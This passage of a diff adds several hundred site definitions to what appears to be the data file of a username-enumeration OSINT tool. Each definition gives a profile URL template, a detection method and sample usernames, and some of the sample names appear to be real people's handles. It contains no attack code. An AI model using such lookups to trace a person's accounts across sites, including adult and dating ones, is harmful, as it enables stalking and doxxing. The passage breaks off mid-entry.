}, + "credly.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://credly.com/users/{username}" + }, + "cruiserswiki.org": { + "checkType": "status_code", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://cruiserswiki.org/wiki/User:{username}" + }, + "dandwiki.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://dandwiki.com/wiki/User:{username}" + }, + "dariawiki.org": { + "checkType": "status_code", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://dariawiki.org/wiki/User:{username}" + }, + "detectiveconanworld.com": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://detectiveconanworld.com/wiki/User:{username}" + }, + "develop.consumerium.org": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://develop.consumerium.org/wiki/User:{username}" + }, + "devforum.zoom.us": { + "disabled": true, + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://devforum.zoom.us/u/{username}" + }, + "discourse.huel.com": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://discourse.huel.com/u/{username}" + }, + "discourse.julialang.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://discourse.julialang.org/u/{username}" + }, + "discourse.mc-stan.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://discourse.mc-stan.org/u/{username}" + }, + "discourse.nodered.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://discourse.nodered.org/u/{username}" + }, + "discourse.snowplowanalytics.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://discourse.snowplowanalytics.com/u/{username}" + }, + "discoursedb.org": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://discoursedb.org/wiki/User:{username}" + }, + "discuss.circleci.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://discuss.circleci.com/u/{username}" + }, + "discuss.elastic.co": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://discuss.elastic.co/u/{username}" + }, + "discuss.huel.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://discuss.huel.com/u/{username}" + }, + "discuss.ipfs.io": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://discuss.ipfs.io/u/{username}" + }, + "discuss.kotlinlang.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://discuss.kotlinlang.org/u/{username}" + }, + "discuss.kubernetes.io": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://discuss.kubernetes.io/u/{username}" + }, + "discuss.newrelic.com": { + "disabled": true, + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://discuss.newrelic.com/u/{username}" + }, + "discuss.pixls.us": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://discuss.pixls.us/u/{username}" + }, + "discuss.prosemirror.net": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://discuss.prosemirror.net/u/{username}" + }, + "discuss.pytorch.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://discuss.pytorch.org/u/{username}" + }, + "discussion.dreamhost.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://discussion.dreamhost.com/u/{username}" + }, + "dnd-wiki.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://dnd-wiki.org/wiki/User:{username}" + }, + "dogcraft.net": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://dogcraft.net/wiki/User:{username}" + }, + "elixirforum.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://elixirforum.com/u/{username}" + }, + "en.brickimedia.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://en.brickimedia.org/wiki/User:{username}" + }, + "en.illogicopedia.org": { + "checkType": "status_code", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://en.illogicopedia.org/wiki/User:{username}" + }, + "en.uncyclopedia.co": { + "checkType": "status_code", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://en.uncyclopedia.co/wiki/User:{username}" + }, + "en.wikifur.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://en.wikifur.com/wiki/User:{username}" + }, + "encyc.org": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://encyc.org/wiki/User:{username}" + }, + "Pixilart": { + "tags": [ + "art" + ], + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://pixilart.com/{username}" + }, + "eve.community": { + "disabled": true, + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://eve.community/u/{username}" + }, + "exploretalent.com": { + "checkType": "message", + "presenseStrs": [ + "userNode\":{\"id\"" + ], + "absenceStrs": [ + "userNode\":{}" + ], + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://exploretalent.com/{username}" + }, + "fandalism.com": { + "disabled": true, + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://fandalism.com/{username}" + }, + "fanfiktion.de": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://fanfiktion.de/u/{username}" + }, + "ffm.bio": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://ffm.bio/{username}" + }, + "finmessage.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://finmessage.com/{username}" + }, + "flipsnack.com": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://flipsnack.com/{username}" + }, + "flirtic.ee": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://flirtic.ee/{username}", + "regexCheck": "^[^\\.]+$" + }, + "forum.banana-pi.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forum.banana-pi.org/u/{username}" + }, + "forum.bonsaimirai.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forum.bonsaimirai.com/u/{username}" + }, + "forum.cfx.re": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forum.cfx.re/u/{username}" + }, + "forum.cockroachlabs.com": { + "disabled": true, + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forum.cockroachlabs.com/u/{username}" + }, + "forum.core-electronics.com.au": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forum.core-electronics.com.au/u/{username}" + }, + "forum.freecodecamp.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forum.freecodecamp.org/u/{username}" + }, + "forum.gitlab.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forum.gitlab.com/u/{username}" + }, + "forum.golangbridge.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forum.golangbridge.org/u/{username}" + }, + "forum.juce.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forum.juce.com/u/{username}" + }, + "forum.leasehackr.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forum.leasehackr.com/u/{username}/summary" + }, + "forum.mattermost.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forum.mattermost.org/u/{username}" + }, + "forum.obsidian.md": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forum.obsidian.md/u/{username}" + }, + "forum.seeedstudio.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forum.seeedstudio.com/u/{username}" + }, + "forum.sublimetext.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forum.sublimetext.com/u/{username}" + }, + "forum.tudiabetes.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forum.tudiabetes.org/u/{username}" + }, + "forum.uipath.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forum.uipath.com/u/{username}" + }, + "forum.vuejs.org": { + "disabled": true, + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forum.vuejs.org/u/{username}" + }, + "forums.balena.io": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forums.balena.io/u/{username}" + }, + "forums.cgsociety.org": { + "disabled": true, + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forums.cgsociety.org/u/{username}" + }, + "forums.developer.nvidia.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forums.developer.nvidia.com/u/{username}" + }, + "forums.episodeinteractive.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forums.episodeinteractive.com/u/{username}", + "disabled": true + }, + "forums.gearboxsoftware.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forums.gearboxsoftware.com/u/{username}", + "disabled": true + }, + "forums.lawrencesystems.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forums.lawrencesystems.com/u/{username}" + }, + "forums.mmorpg.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forums.mmorpg.com/profile/{username}" + }, + "forums.penny-arcade.com": { + "disabled": true, + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forums.penny-arcade.com/profile/discussions/{username}" + }, + "forums.pimoroni.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forums.pimoroni.com/u/{username}" + }, + "forums.t-nation.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forums.t-nation.com/u/{username}" + }, + "forums.theanimenetwork.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forums.theanimenetwork.com/u/{username}" + }, + "forums.wyzecam.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forums.wyzecam.com/u/{username}" + }, + "gamedev.net": { + "disabled": true, + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://gamedev.net/{username}/" + }, + "gearheadwiki.com": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://gearheadwiki.com/wiki/User:{username}" + }, + "globulation2.org": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://globulation2.org/wiki/User:{username}" + }, + "hiveblocks.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://hiveblocks.com/@{username}" + }, + "inaturalist.nz": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://inaturalist.nz/people/{username}" + }, + "inaturalist.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://inaturalist.org/people/{username}" + }, + "irl.com": { + "disabled": true, + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://irl.com/{username}" + }, + "is.theorizeit.org": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://is.theorizeit.org/wiki/User:{username}" + }, + "ising.pl": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://ising.pl/{username}" + }, + "kidicaruswiki.org": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://kidicaruswiki.org/wiki/User:{username}" + }, + "love2d.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://love2d.org/wiki/User:{username}" + }, + "mansonwiki.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://mansonwiki.com/wiki/User:{username}" + }, + "meta.discourse.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://meta.discourse.org/u/{username}" + }, + "metroidwiki.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://metroidwiki.org/wiki/User:{username}" + }, + "micro.blog": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://micro.blog/{username}" + }, + "micronations.wiki": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://micronations.wiki/User:{username}" + }, + "minnit.chat": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://minnit.chat/{username}" + }, + "mintme.com": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://mintme.com/token/{username}" + }, + "modelhub.com": { + "disabled": true, + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://modelhub.com/{username}/videos" + }, + "uviu.com": { + "tags": [ + "porn", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Oops! Page Not Found", + "We're sorry, but the requested page cannot be found" + ], + "presenseStrs": [ + "<div class=\"profilePhotoSection\">", + "<v-avatar username=\"{username}\" wrapper-class=\"largeAvatar profilePhoto\"" + ], + "usernameClaimed": "destinationkat", + "usernameUnclaimed": "noonewouldeverusethis7", + "urlMain": "https://www.uviu.com", + "url": "https://www.uviu.com/model/{username}" + }, + "monoskop.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://monoskop.org/User:{username}" + }, + "mql5.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://mql5.com/es/users/{username}" + }, + "musicinafrica.net": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://musicinafrica.net/fr/users/{username}" + }, + "nitrc.org": { + "checkType": "status_code", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://nitrc.org/users/{username}/" + }, + "nookipedia.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://nookipedia.com/wiki/User:{username}" + }, + "oldschool.runescape.wiki": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://oldschool.runescape.wiki/wiki/User:{username}" + }, + "openhub.net": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://openhub.net/accounts/{username}" + }, + "openriskmanual.org": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://openriskmanual.org/wiki/User:{username}" + }, + "openwetware.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://openwetware.org/wiki/User:{username}" + }, + "oyoy.com": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://oyoy.com/{username}" + }, + "padlet.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://padlet.com/{username}" + }, + "padrim.com.br": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://padrim.com.br/{username}" + }, + "patch.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://patch.com/users/{username}" + }, + "pcgamingwiki.com": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://pcgamingwiki.com/wiki/User:{username}" + }, + "pidgi.net": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://pidgi.net/wiki/User:{username}" + }, + "pinataisland.info": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://pinataisland.info/viva/User:{username}" + }, + "postcrossing.com": { + "disabled": true, + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://postcrossing.com/user/{username}" + }, + "premium.chat": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://premium.chat/{username}" + }, + "profile.typepad.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://profile.typepad.com/{username}" + }, + "pttweb.cc": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://pttweb.cc/user/{username}" + }, + "qiita.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://qiita.com/{username}" + }, + "rationalwiki.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://rationalwiki.org/wiki/User:{username}" + }, + "raymanpc.com": { + "checkType": "status_code", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://raymanpc.com/wiki/en/User:{username}" + }, + "reactos.org": { + "checkType": "status_code", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://reactos.org/wiki/User:{username}" + }, + "realcty.org": { + "checkType": "status_code", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://realcty.org/wiki/User:{username}" + }, + "renderosity.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://renderosity.com/users/{username}" + }, + "run-log.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://run-log.com/live/{username}" + }, + "runescape.wiki": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://runescape.wiki/wiki/User:{username}" + }, + "sketchfab.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://sketchfab.com/{username}" + }, + "snipplr.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://snipplr.com/users/{username}" + }, + "society6.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://society6.com/{username}/all" + }, + "splatoonwiki.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://splatoonwiki.org/wiki/User:{username}" + }, + "spreadshirt.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://spreadshirt.com/shop/user/{username}/" + }, + "ssbwiki.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://ssbwiki.com/User:{username}" + }, + "stackshare.io": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://stackshare.io/{username}" + }, + "starfywiki.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://starfywiki.org/wiki/User:{username}" + }, + "steller.co": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://steller.co/{username}" + }, + "strategywiki.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://strategywiki.org/wiki/User:{username}" + }, + "talk.macpowerusers.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://talk.macpowerusers.com/u/{username}" + }, + "teflpedia.com": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://teflpedia.com/User:{username}" + }, + "testwiki.wiki": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://testwiki.wiki/wiki/User:{username}" + }, + "thinkwiki.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://thinkwiki.org/wiki/User:{username}" + }, + "tokyvideo.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://tokyvideo.com/user/{username}" + }, + "trailville.com": { + "checkType": "message", + "presenseStrs": [ + "wgRelevantUserName" + ], + "headers": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" + }, + "usernameClaimed": "Admin", + "usernameUnclaimed": "noonewouldevereverusethis7", + "url": "https://www.trailville.com/wiki/User:{username}" + }, + "trepup.com": { + "checkType": "message", + "absenceStrs": [ + "<title>" + ], + "usernameClaimed": "partybusservice", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://trepup.com/{username}" + }, + "ubuntu-mate.community": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://ubuntu-mate.community/u/{username}" + }, + "users.rust-lang.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://users.rust-lang.org/u/{username}" + }, + "v2ex.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://v2ex.com/member/{username}" + }, + "vidamora.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://www.vidamora.com/profile/{username}" + }, + "vingle.net": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://vingle.net/{username}" + }, + "webflow.com": { + "checkType": "status_code", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://webflow.com/{username}" + }, + "wiki.creativecommons.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://wiki.creativecommons.org/wiki/User:{username}" + }, + "wiki.linuxquestions.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://wiki.linuxquestions.org/wiki/User:{username}" + }, + "wiki.mozilla.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://wiki.mozilla.org/wiki/User:{username}" + }, + "wiki.mtasa.com": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://wiki.mtasa.com/User:{username}" + }, + "wiki.teamfortress.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://wiki.teamfortress.com/wiki/User:{username}" + }, + "wiki.tfes.org": { + "checkType": "message", + "presenseStrs": [ + "History" + ], + "absenceStrs": [ + "is not registered." + ], + "usernameClaimed": "Tom_Bishop", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://wiki.tfes.org/User:{username}" + }, + "wiki.themanaworld.org": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://wiki.themanaworld.org/wiki/User:{username}" + }, + "wiki.wesnoth.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://wiki.wesnoth.org/wiki/User:{username}" + }, + "wiki.xkcd.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://wiki.xkcd.com/geohashing/User:{username}" + }, + "wikialpha.org": { + "checkType": "status_code", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://wikialpha.org/wiki/User:{username}", + "disabled": true + }, + "wikiapiary.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://wikiapiary.com/wiki/User:{username}" + }, + "wikiislam.net": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://wikiislam.net/wiki/User:{username}" + }, + "wikizilla.org": { + "checkType": "message", + "absenceStrs": [ + "is not registered." + ], + "presenseStrs": [ + "class=\"mw-socialprofile-avatar\" alt=\"avatar\"/><" + ], + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://wikizilla.org/wiki/User:{username}" + }, + "zeldadungeon.net": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://zeldadungeon.net/wiki/User:{username}" + }, + "zoig.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://zoig.com/profile/{username}" + }, + "free-otvet.ru": { + "absenceStrs": [ + "qam-sidepanel-mobile" + ], + "presenseStrs": [ + "userfield-2" + ], + "url": "https://free-otvet.ru/user/{username}_zn", + "urlMain": "https://free-otvet.ru", + "usernameClaimed": "Triolana", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 121560, + "tags": [ + "q&a" + ] + }, + "TemplateMonster": { + "absenceStrs": [ + "ErrorPage__title" + ], + "presenseStrs": [ + "profile", + "header_profile", + "mailer", + "name", + "@graph" + ], + "url": "https://www.templatemonster.com/authors/{username}/", + "urlMain": "https://www.templatemonster.com", + "usernameClaimed": "zemez", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 3590, + "tags": [ + "coding" + ] + }, + "dolap": { + "absenceStrs": [ + " role=" + ], + "presenseStrs": [ + "setEmail" + ], + "url": "https://dolap.com/profil/{username}", + "urlMain": "https://dolap.com", + "usernameClaimed": "burcakmeric", + "usernameUnclaimed": "noonewouldeverusethis7", + "checkType": "message", + "alexaRank": 46439, + "tags": [ + "shopping", + "tr" + ] + }, + "Gardrops": { + "absenceStrs": [ + "> Gardrops" + ], + "presenseStrs": [ + "/reviews" + ], + "url": "https://www.gardrops.com/{username}", + "urlMain": 